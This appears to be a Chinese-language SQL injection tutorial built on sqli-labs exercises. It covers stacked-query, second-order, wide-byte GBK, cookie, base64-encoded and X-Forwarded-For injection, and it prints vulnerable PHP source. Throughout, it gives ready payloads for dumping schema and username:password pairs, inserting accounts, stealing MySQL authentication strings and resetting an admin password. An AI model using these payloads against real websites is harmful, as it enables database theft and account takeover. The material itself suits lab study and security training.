例如删除数据库 修改数据库,添加数据库用户。

1
2
3
备注:堆叠注入的可以运用于创建用户由于我们使用网站用户进行注入不能查看到数据库的密码但是我们可以创建用户来登录迂回的注入数据库
但是前提是网站的管理员必须是高权限才能完全创建用户
也可以使用update更新管理员用户密码。
代码分析

靶场启动

在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,

在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
error_reporting(0);
include("../sql-connections/db-creds.inc");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-38 **stacked Query**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php




// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}



$sql="SELECT * FROM users WHERE id=''1 and '1'='1'--+ LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{


/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);


}
else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-38.jpg" /></center>
</body>
</html>

是否存在注入
1
id=1' and 1=2 --+
1
id=1' and 1=1 --+
1
2
3
?id=1' order by 3 %23

-1';show tables %23
1
-1' order by 3 --+
获取库名
1
-1' union select 1,2,group_concat(user(),0x3A,database(),version()) --+

接着使用使用堆叠语法进行检测

获取表名
1
-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) --+
获取字段

把库里所有的表获取出来,再获取字段

1
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 0,1) --+
插入普通账号

知道表的列的情况下使用 insert into 插入语句进行增加账号。

如果是管理表就直接添加管理员账号即可登录后台。

1
-1';insert into users(id,username,password)values(66,'蔡徐坤','小黑子树脂666') --+

访问 id=66即可访问到刚刚添加的账号

插入mysql管理员账号
1
-1';insert into users(id,username,password)values(6666,(select authentication_string from mysql.user limit 1 ),'食不食油饼') --+

二次注入

二次注入是一种在Web应用程序中广泛存在的安全漏洞形式。

相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

二次注入原理

在第一次进行数据库插入数据的时候

仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 函数对其中的特殊字符进行了转义’

但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义‘ \’

但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。

在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据

没有进行进一步的检验和处理,这样就会造成SQL的二次注入

比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中

然后在下一次使用中在拼凑的过程中,就形成了二次注入。

1
2
3
4
5
6
7
8
开了gpc add转义函数
输入 admin' 转义成 admin\' 插入数据库 数据库将\去掉得到admin'

存在'admin''

updata

select * from users where name='admin'' 二次注入

img

代码分析

image-20220829152656226

mysql_escape_string 函数会将特殊字符进行过滤 如’ 经过转义就成了\\’ 然后用insert into 存入在数据库中。

在 login.php 查看源码

登录获取用 mysql_escape_string 对输入的参数进行转义

转义之后在数据库中查找指定的账号和密码 再传入到 session 里。

image-20220829152726983

在看 pass_change.php 源码

image-20220829152747884

$_SESSION[‘username’] 复制给$username 无任何过滤再带入 UPDATE 语句中造成注入。

整个流程就是注册脏数据用户,再去更改密码时会触发注入。

触发注入呢我们就可以更改原有用户的密码

可以看到二次注入比较隐蔽。通常发生在更改,需要二次带入数据时提交的功能里。

二次注入测试

先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,

然后寻找可能会带入恶意数据二次使用的地方。

例如用户注册->修改密码->邮箱注册->修改密码-> 文章添加->文章编辑

找一切存在二次使用的功能点。

二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。

现在注册用户 a’ 再分别注册用户

1
a' and 1=1 #
1
a' and 1=2 # 

来可能触发的地方

二次注入多用于修改其他账号的密码 例如 admin 的密码。

注册用户 admin’ # 登录修改密码 就能修改 admin 的密码

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

闭合 注释

宽字节注入

常见几个url转码

空格 %20

‘ %27

# %23

/ %2f

%09 TAB 键(水平)

%0a 新建一行

%0b TAB 键(垂直)

%0c 新的一页

%0d return 功能

%a0 空格

php函数addslashes() gpc

作用:使用反斜线引用字符串

对以下生效生效:

单引号:’ /’

反斜线:/ //

双引号:” /“

空值:NULL /NULL

它会在这些之前加上反斜线,这样单引号就是字符串里面的一个,而没有单引号在代码中的作用

如何单引号逃逸?

  1. 在反斜线之前再加一个反斜线,这样就把反斜线给转义了
  2. 把反斜线弄没(即宽字节注入)
宽字节手工注入

宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。

一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。

如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc

简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入

深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL语句

其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符

初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)

gpc 绕过过程

1
%df'===(addslashes函数)===>%df%5c%27===(数据库 GBK编码)===>運'
原理

在url编码之后,如果%后面的两个字符的值(十六进制形式)超过了128(ascii码最大表示)

会默认为GBK形式,而Mysql在进行编码是认为GBK形式两个字符才算一个汉字

例子

单引号被反斜线转义:

1
' --> \' --> %5C%27 

当在单引号之前加上%aa时

1
%aa' --> %aa\' --> %aa%5C%27   '大''

会认为%aa%5C是一对达到单引号的逃狱

源代码分析

从源代码分析,存在漏洞的代码 首先 check_addlashes 是将特殊字符进行过滤

将’ 变成\\’ mysql_query 设置数据库的编码为 gbk 将 id 参数传入到 SQL 中带入查询

传入%df%5c%27 da’ 即可逃逸 gpc,故存在宽字节注入。

image-20220806191633158

黑盒环境下的宽字节攻击

宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可

1
-1%df%27%20and%201=1 --+

页面是否存在乱码

1
-1%df%27%20or%20sleep(10)--+ 

页面是否存在延时

均可以测试存在宽字节注入

1
-1%df%27%20union%20select%201,version(),database()--+

image-20220806191731698

1
'1'\' and 1=2 --
1
union select 1,(select group_concat(column_name) from information_schema.columns where table_name =0x7573657273 ) --+

COOKIE注入

COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。

GET 在url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

echo "get ---";

echo $_GET['a'];

echo "post ---";

echo $_POST['b'];

echo "cookie ---";

echo $_COOKIE['c'];

?>

get 在 url 拦截 即使 提交的方法是 post 只要在 url 拦上都可以传递 get

post 在正文里 提交的方法必须存在 post

cookie 有没有 post 都可以

代码分析

在Less20中判断是否提交submit 如果存在

1
2
3
4
5
6
if(!isset($_POST['submit']))
{

$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;

获取值

保存到$cookee 中 再拼接到 sql 带入查询。造成注入。

注入攻击

主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。

cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行测试

抓取 cookie 包进行安全测试

用cookie提交攻击语句可以看是否存在注入

使用 buspsuite 抓包 改包提交

输入

1
Cookie: ' order by 4--+
1
2
3
uname=admin' and 1=1 --+ 

uname=admin' and 1=2 --+

Base64 编码注入

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。

数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,

如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。

在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码

base64_decode()这个函数对 base64 进行解码。

编码解码流程

1
1 ->base64 编码->MQ==->base64 解密->1

base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符

编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句再执行,从而形SQL 注入。

代码中分析 base64 注入

从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来如果有

使用$_COOKIE[‘uname’]获取 cookis 传过来的账号,再拼接到 SQL 带入查询。

这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进

行解码,所以$cookee 传递过来的数据必须先进行编码,否则解码不了会导致出错。(‘’)

黑盒环境下对 base64 编码进行注入

首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。

如果存在类似==等,可以用 base64 解码进行测试。

1
admin')and 1=1--+ 编码 YWRtaW4nYW5kIDE9MS0tIA==
1
admin')and 1=2--+ 编码 YWRtaW4nYW5kIDE9Mi0tIA==

本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合

用 burpsuite 抓包后修改 cookie 参数提交

第一次提交页面返回存在 admin 第二次提交没有 admin 两个页面返回的结果不相同所以存在 SQL 注入

本代码存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。

1
admin ') order by 4#

image-20220830152046971

注意闭合方式(‘’)

1
-1 ' ) union select 1,database(),user()-- 

注意注释 空格也会被编码

1
-1' ) union select 1,2,group_concat(user(),0x3A,database(),version())#

获取库名

获取security库中的表

1
-1 ') union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security')#

获取users表中的字段名

1
2
3
4
5
6
-1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')# 

获取username和password的字段值
-1') union select 1,2,(select group_concat(id,username,0x3a,password) from users limit 1)#

-1') union select 1,2,(select group_concat(username,':',password) from security.users)#
1
admin')and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--  

报错信息回显

进行 base64 编码

1
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=

提交获取敏感信息。

XXF 注入攻击

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP

XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,

不会对 XFF 头进行过滤。

1
2
3
4
5
<?php

echo "xff---".$_SERVER['HTTP_X_FORWARDED_FOR'];

?>

使用 burpsuite

1
X-Forwarded-for: 9.9.9.9 

可以随意设置字符串,如果程序中获取这个值再带入数据库查询 会造成 SQL 注入

除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值

所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害

xff 注入代码分析

在这里插入图片描述

1
getenv('HTTP_X_FORWARDED_FOR')

获取远程客户端的HTTP_X_FORWARDED_FOR的值

没有进行过滤拼接SQL语句带入查询造成注入

在黑盒环境下 xff 注入攻击

在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’

用户在注册的时候,如果存在安全隐患 会出现错误页面或者报错。

从而导致注册或者登录用户失败。

burpsuite 抓包 提交 输入检测语句

1
2
3
X-Forwarded-for: 127.0.0.1'and 1=1#

X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样 存在 SQL 注入漏洞

获取敏感信息

1
X-Forwarded-for: -127.0.0.1'union select 1,2,3,user()#

输入提交包 后看到页面返回 root@loclhost

搜索框注入

Between注入

Limit注入

Order by注入

JSON注入

DNSlog对外注入

加解密注入

中转注入

Access注入

MsSQL注入 SQL SERVER

Postgre sql注入

Oracle注入

MongoDB注入